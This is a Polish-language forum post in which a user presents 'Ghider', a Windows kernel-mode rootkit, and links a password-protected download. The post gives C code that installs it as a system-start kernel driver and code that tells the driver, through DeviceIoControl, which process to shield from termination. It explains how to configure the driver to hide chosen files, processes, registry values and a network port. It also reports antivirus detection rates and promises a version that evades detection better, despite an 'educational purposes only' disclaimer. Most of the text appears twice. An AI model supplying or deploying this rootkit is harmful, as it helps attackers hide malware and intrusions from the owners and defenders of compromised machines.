grzonu
Były Moderator
- Dołączył
- Grudzień 26, 2006
- Posty
- 1390
Ghider ver. 1.0
Ostatnio napisalem rootkita i chcialbym go tu przedstawic.
Jest to sterownik ukrywajacy plik i proces,klucz w rejestrze,port komunikacyjny a takze chroniacy proces przed zabiciem.
Do jego zainstalowania mozemy uzyc kodu podanego nizej:
Oczywiscie nie musimy usuwac sterownika
ale dla latwosci testow podalem tez kod jak usunac sterownik.
Możemy też użyć do testów programu do instalacji i usuwania sterownika LINK
Aby sterownik ukrywal pliki i procesy,wartosci w rejestrze musi wiedziec jak sie nazywaja. Odzczytuje w tym celu klucz HKEY_LOCAL_MACHINE\Software\KernelLoader. Nazwa(bez rozszerzenia) jest zapisana w wartosci Hide. Musimy taki klucz utworzyc przed instalacja sterownika w innym przypadku bedzie uzyta domyslna wartosc czyli Ghider. Czyli np. jesli podamy tu jako zazwe "app" to zostana ukryte wszystkie pliki ktorych nazwa zaczyna sie na app,wszystkie procesy ktorych nazwa zaczyna sie na app i wartosci w rejestrze o nazwie app.
Dodatkowo tworzac wartosc Port o typie DWORD mozemy wskazac port ktory ma byc ukryty(m.in w netstat) domyslny port to 8074
Aby chronic proces przez zabiciem musimy wyslac do niego id procesu ktore mozemy pobrac np. przez GetCurrentProcessId() jesli chcemy pobrac Id wlasnego procesu. Wysylamy to do sterownika w sposob nastepujacy:
To tyle mam nadzieje że rootkit się komuś przyda. W przyszlości mozna oczekiwać uaktualnien.
Wykrywalnosc: na dzien dziejszy 3/40
Authentium 5.1.2.4 2009.04.04 W32/SYStroj.N.gen!Eldorado
F-Prot 4.4.4.56 2009.04.03 W32/SYStroj.N.gen!Eldorado
NOD32 3988 2009.04.04 probably unknown NewHeur_PE
Postaram sie zbić wykrywalność i zaaktualizuje plik
LINK
haslo: grzonu
Autor nie ponosi żadnej odpowiedzialnosci za wykozystanie w/w programu do celów niezgodnych z prawem
Program powstał wyłącznie w celach edukacyjnych
Ostatnio napisalem rootkita i chcialbym go tu przedstawic.
Jest to sterownik ukrywajacy plik i proces,klucz w rejestrze,port komunikacyjny a takze chroniacy proces przed zabiciem.
Do jego zainstalowania mozemy uzyc kodu podanego nizej:
Kod:
SC_HANDLE sh = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
SC_HANDLE rh=CreateService(sh,"ROOTKIT","ROOTKIT",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_SYSTEM_START,SERVICE_ERROR
_NORMAL,"sciezka do sterownika",NULL,NULL,NULL,NULL,NULL);
if(!rh)
{
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
rh= OpenService(sh,"ROOTKIT",SERVICE_ALL_ACCESS);
}
}
else
{
if(StartService(rh,0,NULL)==0)
{
if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
MessageBox(0,"sterownik juz jest zainstalowany",0,0);
}
}
}
//usuwanie sterownika
MessageBox(0,"po nacisnieciu OK usune sterownik",0,0);
SERVICE_STATUS stat;
if(ControlService(rh,SERVICE_CONTROL_STOP,&stat)!=0)
{
MessageBox(0,"zatrzymano",0,0);
}
if(DeleteService(rh)!=0)
{
MessageBox(0,"usunieto",0,0);
}
CloseServiceHandle(sh);
CloseServiceHandle(rh);
Oczywiscie nie musimy usuwac sterownika
Możemy też użyć do testów programu do instalacji i usuwania sterownika LINK
Aby sterownik ukrywal pliki i procesy,wartosci w rejestrze musi wiedziec jak sie nazywaja. Odzczytuje w tym celu klucz HKEY_LOCAL_MACHINE\Software\KernelLoader. Nazwa(bez rozszerzenia) jest zapisana w wartosci Hide. Musimy taki klucz utworzyc przed instalacja sterownika w innym przypadku bedzie uzyta domyslna wartosc czyli Ghider. Czyli np. jesli podamy tu jako zazwe "app" to zostana ukryte wszystkie pliki ktorych nazwa zaczyna sie na app,wszystkie procesy ktorych nazwa zaczyna sie na app i wartosci w rejestrze o nazwie app.
Dodatkowo tworzac wartosc Port o typie DWORD mozemy wskazac port ktory ma byc ukryty(m.in w netstat) domyslny port to 8074
Aby chronic proces przez zabiciem musimy wyslac do niego id procesu ktore mozemy pobrac np. przez GetCurrentProcessId() jesli chcemy pobrac Id wlasnego procesu. Wysylamy to do sterownika w sposob nastepujacy:
Kod:
HANDLE hFile=CreateFileW(L"\\\\.\\KernelLoader",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
DWORD id=GetCurrentProcessId();
char proc[10];
sprintf(proc,"%d",id);
DWORD BytesReturned;
char *bufor = new char[255];
bool b=DeviceIoControl(hFile,0x313377,proc,strlen(proc),bufor, 255,&BytesReturned,0);
/*
sterownik nie nie "odpisuje" wiec bufor bedzie pusty
kod ktory wysylamy to 0x313377
id procesu jest w tablicy proc
*/
if(!b)
{
MessageBox(0,"nie udalo sie wyslac komunikatu do sterownika",0,0);
}
To tyle mam nadzieje że rootkit się komuś przyda. W przyszlości mozna oczekiwać uaktualnien.
Wykrywalnosc: na dzien dziejszy 3/40
Authentium 5.1.2.4 2009.04.04 W32/SYStroj.N.gen!Eldorado
F-Prot 4.4.4.56 2009.04.03 W32/SYStroj.N.gen!Eldorado
NOD32 3988 2009.04.04 probably unknown NewHeur_PE
Postaram sie zbić wykrywalność i zaaktualizuje plik
LINK
haslo: grzonu
Autor nie ponosi żadnej odpowiedzialnosci za wykozystanie w/w programu do celów niezgodnych z prawem
Program powstał wyłącznie w celach edukacyjnych